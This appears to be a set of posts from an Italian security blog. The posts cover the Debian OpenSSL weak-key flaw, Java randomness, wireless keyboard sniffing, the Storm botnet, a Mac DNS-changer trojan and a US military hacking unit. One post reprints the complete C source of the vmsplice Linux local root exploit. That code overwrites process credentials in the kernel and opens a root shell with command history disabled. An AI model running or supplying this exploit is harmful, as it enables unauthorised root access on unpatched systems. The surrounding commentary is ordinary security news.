Chiavi OpenSSL deboli per Debian e derivate

Qualche giorno fa il bollettino di sicurezza di Debian dsa-1571 ha pubblicato un bug scoperto da Luciano Bello. Per evitare che i programmi che utilizzano OpenSSL venissero riportati come buggati da Valgrind, i packager di Debian hanno rimosso una istruzione dal codice di md_rand.c, con il risultato di inficiare pesantemente sul seeding del PRNG che genera le chiavi asimmetriche.

LA conseguenza è che data una certa dimensione di chiave OpenSSL non riesce a generare tutte le chiavi possibili, ma solo una tra 32768. Questo vuol dire che i server amministrabili via SSH sono suscettibili agli attacchi brute force anche se autorizzano l’accesso solo con chiavi asimmetriche (metodo storicamente considerato più robusto di semplici passphrase).

Le chiavi generate tra Settembre 2006 e il 13 Maggio 2008 sono da considerarsi vulnerabili e devono essere rigenerate. Sono deboli le chiavi SSH, OpenVPN, DNSSEC, le chiavi nei certificati X.50 e le chiavi di sessione in connessioni SSL/TLS.

H. D. Moore (il creatore di Metasploit) ha scritto un ottima panoramica tecnica sull’argomento: http://metasploit.com/users/hdm/tools/debian-openssl/.

Oltre java.util.Random

Daniel Dyer sta pubblicando sul suo blog una serie di articoli dedicati alla generazione di numeri casuali con Java. Tutti i programmatori Java prima o poi utilizzano la classe java.util.Random, che però va bene solo per semplici casi: necessità di una distribuzione uniforme e nessun requisito di sicurezza.

Per la crittografia usare java.util.Random è un peccato mortale: la classe da utilizzare in questo caso è java.security.SecureRandom. Per verificare quanto siano poco casuali i bit generati da java.util.Random fate riferimento a questa pagina: http://www.alife.co.uk/nonrandom/index.html.

Dyer coglie l’occasione per fare “pubblicità” al suo progetto opensource uncommons-maths, rilasciato sotto licenza Apache, che utilizza diversi motori casuali (Marsenne Twister, un generatore basato sugli automi cellulari che piacerebbe a Stephen Wolfram e un generatore basato su AES) e può generare numeri secondo diverse distribuzioni: uniforme, gaussiana, di Poisson, binomiale e esponenziale. È disponibile un demo che mostra in modo sensibile le diverse distribuzioni, basta eseguire sul proprio terminale preferito:

javaws https://uncommons-maths.dev.java.net/demo/demo.jnlp

Gli articoli pubblicati da mentre scrivo sono i seguenti:

Nei prossimi post della serie Dyer parlerà dei gradi di libertà nel mischiare un mazzo di carte e dei problemi da gestire quando si usano numeri casuali nella crittografia.

Nel suo profilo su LinkedIn Dyer scrive di avere esperienza nella programmazione di giochi online relativi a giochi d’azzardo: nessuna meraviglia che sia interessato alla generazione efficiente di numeri casuali (gli algoritmi random utilizzati da un programma che simuli la roulette può essere perfettamente corretto e “fair”: sono le regole del gioco a far sì che alla fine della giornata il vincitore sia sempre il banco).

Kernel 2.6.24.1 vulnerabile a vmsplice local exploit.

Il kernel di Linux fino alla versione 2.6.24.1 è vulnerabile a un exploit locale che permette a un utente normale di ottenere i privilegi di root. Il codice dell’exploit è il seguente:

/*
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.17 - 2.6.24.1
 *
 * (compile fixed by nenolod.)
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS	16
#define PG_compound	14
#define uint		unsigned int
#define static_inline	static inline __attribute__((always_inline))
#define STACK(x)	(x + sizeof(x) - 40)

struct page {
	unsigned long flags;
	int count;
	int mapcount;
	unsigned long private;
	void *mapping;
	unsigned long index;
	struct { long next, prev; } lru;
};

void	exit_code();
char	exit_stack[1024 * 1024];

void	die(char *msg, int err)
{
	printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
	fflush(stdout);
	fflush(stderr);
	exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice	316
#endif

#define USER_CS		0x73
#define USER_SS		0x7b
#define USER_FL		0x246

static_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"movl %0, 0x10(%%esp) ;"
	"movl %1, 0x0c(%%esp) ;"
	"movl %2, 0x08(%%esp) ;"
	"movl %3, 0x04(%%esp) ;"
	"movl %4, 0x00(%%esp) ;"
	"iret"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	    "i" (USER_CS), "r" (exit_code)
	);
}

static_inline
void *	get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
	"movl %%esp, %%eax ;"
	"andl %1, %%eax ;"
	"movl (%%eax), %0"
	: "=r" (curr)
	: "i" (~8191)
	);
	return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice	278
#endif

#define USER_CS		0x23
#define USER_SS		0x2b
#define USER_FL		0x246

static_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"swapgs ;"
	"movq %0, 0x20(%%rsp) ;"
	"movq %1, 0x18(%%rsp) ;"
	"movq %2, 0x10(%%rsp) ;"
	"movq %3, 0x08(%%rsp) ;"
	"movq %4, 0x00(%%rsp) ;"
	"iretq"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	    "i" (USER_CS), "r" (exit_code)
	);
}

static_inline
void *	get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
	"movq %%gs:(0), %0"
	: "=r" (curr)
	);
	return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice	__NR_vmsplice
_syscall4(
	long, _vmsplice,
	int, fd,
	struct iovec *, iov,
	unsigned long, nr_segs,
	unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)	syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void	kernel_code()
{
	int	i;
	uint	*p = get_current();

	for (i = 0; i < 1024-13; i++) {
		if (p[0] == uid && p[1] == uid &&
		    p[2] == uid && p[3] == uid &&
		    p[4] == gid && p[5] == gid &&
		    p[6] == gid && p[7] == gid) {
			p[0] = p[1] = p[2] = p[3] = 0;
			p[4] = p[5] = p[6] = p[7] = 0;
			p = (uint * ) ((char *)(p + 8 ) + sizeof(void *));
			p[0] = p[1] = p[2] = ~0;
			break;
		}
		p++;
	}	

	exit_kernel();
}

void	exit_code()
{
	if (getuid() != 0)
		die("wtf", 0);

	printf("[+] root\n");
	putenv("HISTFILE=/dev/null");
	execl("/bin/bash", "bash", "-i", NULL);
	die("/bin/bash", errno);
}

int	main(int argc, char *argv[])
{
	int		pi[2];
	size_t		map_size;
	char *		map_addr;
	struct iovec	iov;
	struct page *	pages[5];

	uid = getuid();
	gid = getgid();
	setresuid(uid, uid, uid);
	setresgid(gid, gid, gid);

	printf("-----------------------------------\n");
	printf(" Linux vmsplice Local Root Exploit\n");
	printf(" By qaaz\n");
	printf("-----------------------------------\n");

	if (!uid || !gid)
		die("!@#$", 0);

	/*****/
	pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
	pages[1] = pages[0] + 1;

	map_size = PAGE_SIZE;
	map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[0]);
	printf("[+] page: 0x%lx\n", pages[1]);

	pages[0]->flags    = 1 << PG_compound;
	pages[0]->private  = (unsigned long) pages[0];
	pages[0]->count    = 1;
	pages[1]->lru.next = (long) kernel_code;

	/*****/
	pages[2] = *(void **) pages[0];
	pages[3] = pages[2] + 1;

	map_size = PAGE_SIZE;
	map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[2]);
	printf("[+] page: 0x%lx\n", pages[3]);

	pages[2]->flags    = 1 << PG_compound;
	pages[2]->private  = (unsigned long) pages[2];
	pages[2]->count    = 1;
	pages[3]->lru.next = (long) kernel_code;

	/*****/
	pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
	map_size = PAGE_SIZE;
	map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);
	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[4]);

	/*****/
	map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
	map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
	                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

	/*****/
	map_size -= 2 * PAGE_SIZE;
	if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
		die("munmap", errno);

	/*****/
	if (pipe(pi) < 0) die("pipe", errno);
	close(pi[0]);

	iov.iov_base = map_addr;
	iov.iov_len  = ULONG_MAX;

	signal(SIGPIPE, exit_code);
	_vmsplice(pi[1], &iov, 1, 0);
	die("vmsplice", errno);
	return 0;
}

// milw0rm.com [2008-02-09]

La prima versione non vulnerabile è la 2.6.24-git20, il che vuol dire che tutte le versioni di (K)Ubuntu sono vulnerabili, inclusa l’LTS 6.06 Dapper Drake e Gutsy Gibbon 7.10. Ci si aspetta a giorni un update che elimini questo pericoloso bug.

Crackare le tastiere wireless

Keyboard icon by everaldo.comA Agosto 2007 Luis Miras, lead vulnerability researcher della Intrusion, ha tenuto un interessante speech al convegno BlackHat 2007: Other Wireless: New ways to get Pwned (PDF). L’idea di Miras era molto semplice: ci sono dati trasmessi via etere “insospettabili” che possano rappresentare un rischio per la sicurezza? La risposta banalmente era sì: tutto ciò che viene digitato sulle tastiere wireless può essere intercettato da qualche curiosone di passaggio. Miras presentò dei replay attack e poco altro: tastiere e mouse wireless comunicano usando un protocollo crittato che non aveva avuto la possibilità di reversare.

Per poter effettuare l’attacco replay ha dovuto creare una periferica wireless personalizzata. Questo non è particolarmente difficile in quanto pressoché tutti i dispositivo di questo genere sono composti da tre parti: un semplice microcontrollore, una piccola eeprom e un trasmettitore. Il dongle ricevente è molto simile, con un ricevitore al posto del trasmettitore. Inoltre per l’utilizzo negli Stati Uniti questi dispositivi devono essere approvati dall’FCC: il risultato è che cercando il numero di serie di un prodotto è possibile spesso ricavare gli schematici della sua architettura.

Qualche giorno fa Max Moser e Philipp Schrödel di Dreamlab Technologies e remote-exploit.org hanno pubblicato un articolo che spiega il funzionamento del protocollo e come sia possibile sniffare le connessioni in modo estremamamente semplice.

Analizzando il protocollo hanno scoperto che caratteri come shift e alt sono inviati non crittati al ricevente wireless. La crittazione usata nell’invio di ogni carattere è uno XOR del valore del carattere con un byte ricavato da un motore casuale inizializzato con un singolo byte durante l’handshake tra la periferica wireless e la stazione ricevente connessa al computer. Sniffando l’handshake è quindi possibile intercettare facilmente tutti i tasti premuti sulla tastiera. In realtà questo non è necessario, poichè ci sono solo 256 possibili chiavi di crittazione, per cui sniffando i tasti crittati e usando gli stessi metodi statistici utilizzati per “rompere” il cifrario di Cesare, è possibile determinare la chiave corretta intercettando solo 20-50 caratteri.

I ricercatori hanno anche pubblicato un video dove mostrano il loro programma proof-of-concept sniffare e crackare la comunicazione di tre diverse tastiere. Con delle piccole antenne non dovrebbe essere difficile sniffare le comunicazioni della tastiera anche oltre il suo circa metro e mezzo di raggio di comunicazione.

Potete usare RSA a 4096 bit per usare via SSH il vostro PC, ma è tutto inutile se poi la chiave viene banalmente letta dal primo venuto abbastanza malizioso (un motivo in più per usare SSH passwordless).

Ma se usate una tastiera con filo, non pensiate di essere al sicuro (e c’è anche chi è in grado di montare questi gingilli all’interno di un laptop).

[via midnightresearch]

La botnet Storm

Virus by everaldo.comUna “botnet” indica in gergo informatico un gruppo di computer infetti da un trojan che permette a un cracker di controllare completamente da remoto il computer “zombie”.

Un classico uso di una botnet è quello di mandare spam: pubblicità per viagra, imitazioni di orologi, falsi diplomi, truffe pump-and-dump e quant’altro possono essere inviate a milioni di caselle email in poco tempo sfruttando una botnet. Un altro utilizzo è il lancio di attacchi DDoS: tutti i computer della botnet mandano richieste di collegamento a un unico server, saturandone la banda e bloccandone a tutti gli effetti l’accesso alla rete.

Una botnet che sta suscitando particolari preoccupazioni da Gennaio 2007 è la cosiddetta Storm Botnet, che prende nome dal trojan che l’ha creata (noto anche come Zhelatin, W32/Small.DAM, Trojan.Peacomm, Win32/Nuwar). Non ci sono stime realmente affidabili sulla dimensione della botnet: generalmente si pensa che sia formata da un numero compreso tra 1.000.000 e 50.000.000 di macchine Windows infette (anche se Brandon Enright ha sostenuto al Toorcon che potrebbero essere appena 160.000).

È importante notare che Storm non si diffonde sfruttando falle di sicurezza di Windows come è successo per altri worm come Nimda, Blaster o Code Red, ma usa unicamente il “social engineering”: si autoinvia ai contatti email trovati sulle macchine infette spacciandosi come una notizia politica, come un programma per scaricare musica gratis e così via. Ultimamente ha sfruttato un bug su youtube.com per inviare come messaggio personale un link che portava a un sito malizioso che si spacciava come correlato a Halo 3 che induceva la vittima a scaricare il trojan.

Gli effetti che permettono di stimare la dimensione della botnet sono preoccupanti: si stima che ogni giorno le macchine controllate da Storm inviino miliardi se non decine di miliardi di email; quando Artists Against 419 fu sottoposto a DDoS, l’attaccò superò i 400GiB all’ora - era quindi portato a segno da qualcosa come 300.000 macchine con connessione ADSL.

Read the rest of this entry »

Mac OS è finalmente un sistema operativo diffuso

Mac Icon by everaldo.comFinalmente il Mac OS ha raggiunto la massa critica e è diventato un sistema operativo diffuso. La prova del 9 è data dal fatto che per la prima volta si è osservato “in the wild” un trojan per Mac OS X.

Gadi Evron, un po’ melodrammatico, ha detto “OS X è il nuovo Windows ‘98″. E ancora: “Il giorno di Apple è arrivato, e gli utenti Apple saranno colpiti duramente” (fonte).

La base di utenti dei Mac si sta sempre più allargando: Apple è il terzo venditore di laptop negli Stati Uniti dopo Dell e Hewlett Packard: gli utenti Mac non sono più gli utenti avanzati di una volta, osserva Alex Eckelberry (CEO di Sunbelt), e i meno smaliziati potrebbero cascarci.

Infatti il trojan per Mac non usa alcuna falla di sicurezza per autoinstallarsi né è un concetto particolarmente nuovo: si spaccia come codec necessario per vedere gratuitamente dei filmati pornografici, l’utente volontariamente lo scarica, lo installa e da quel momento la macchina è in mano a chiunque controlli quel malware. Trojan del genere esistono ormai da diversi anni sulle piattaforme Windows – ma solo ora stanno compiendo il “salto di specie”.

E proprio di salto di specie sembra trattarsi, visto che stando a quanto dicono Alex Eckelberry e Dave Marcus (ricercatore per la McAfee) il trojan sembrerebbe scritto dalla stessa crew che ha scritto i malware che vanno sotto il nome di Zlob e DNSChanger per Windows.

Screenshot trojan per Mac

Quello che fa il malware per Mac è impossessarsi del meccanismo che si occupa di trasformare gli indirizzi “testuali” in indirizzi IP. Questo sistema, detto DNS, si occupa di trasformare il leggibile www.google.com in 209.85.135.99 .

Lo scopo è quello di intercettare le connessioni verso siti come www.paypal.com o siti di home banking e dirigerli verso pagine maliziose identiche alle originali. Se la vittima inserisce il proprio nome utente e password, questa verrà spedita al phisher, che difficilmente ne farà un uso caritatevole.

Insomma: la minaccia non è particolarmente minacciosa e la novità non è particolarmente nuova. Gli utenti Mac dovranno semplicemente iniziare a fare un po’ più di attenzione e dovranno essere un po’ meno ingenui (nel caso in cui lo fossero prima). L’unico vero aspetto interessante è che dei blackhat (cracker? ladri?) si siano presi la briga di scrivere un malware per utenti comuni ma per un sistema non diffuso come Microsoft Windows. Il battesimo del fuoco.

La crew di hacker d’elite dell’esercito statunitense

Nota: ho tratto e tradotto questo articolo da wired.com. Perciò non rispecchia necessariamente il mio punto di vista, i miei ideali o quant’altro. L’ho trovato semplicemente interessante.

L’esercito degli Stati Uniti d’America ha assemblato la crew di hacker più formidabile al mondo: un programma di guerra top-secret e da milioni di dollari pronto a lanciare cyberguerre senza sangue contro le reti nemiche - dal sistema elettrico alle reti telefoniche.

L’esistenza del gruppo è stata rilevata durante il U.S. Senate Armed Services Committee lo scorso mese (marzo 2005). Comandanti dell’esercito dal Comando Strategico degli Stati Uniti, o Stratcom, hanno riferito dell’esistenza di una unità chiamata Joint Functional Command for Network Warfare, o JFCCNW.

In parole povere e senza alcun gergo militare, questa unità potrebbe essere meglio descritta come la più potente crew di hacker del mondo. Che ci sia mai stata.

Read the rest of this entry »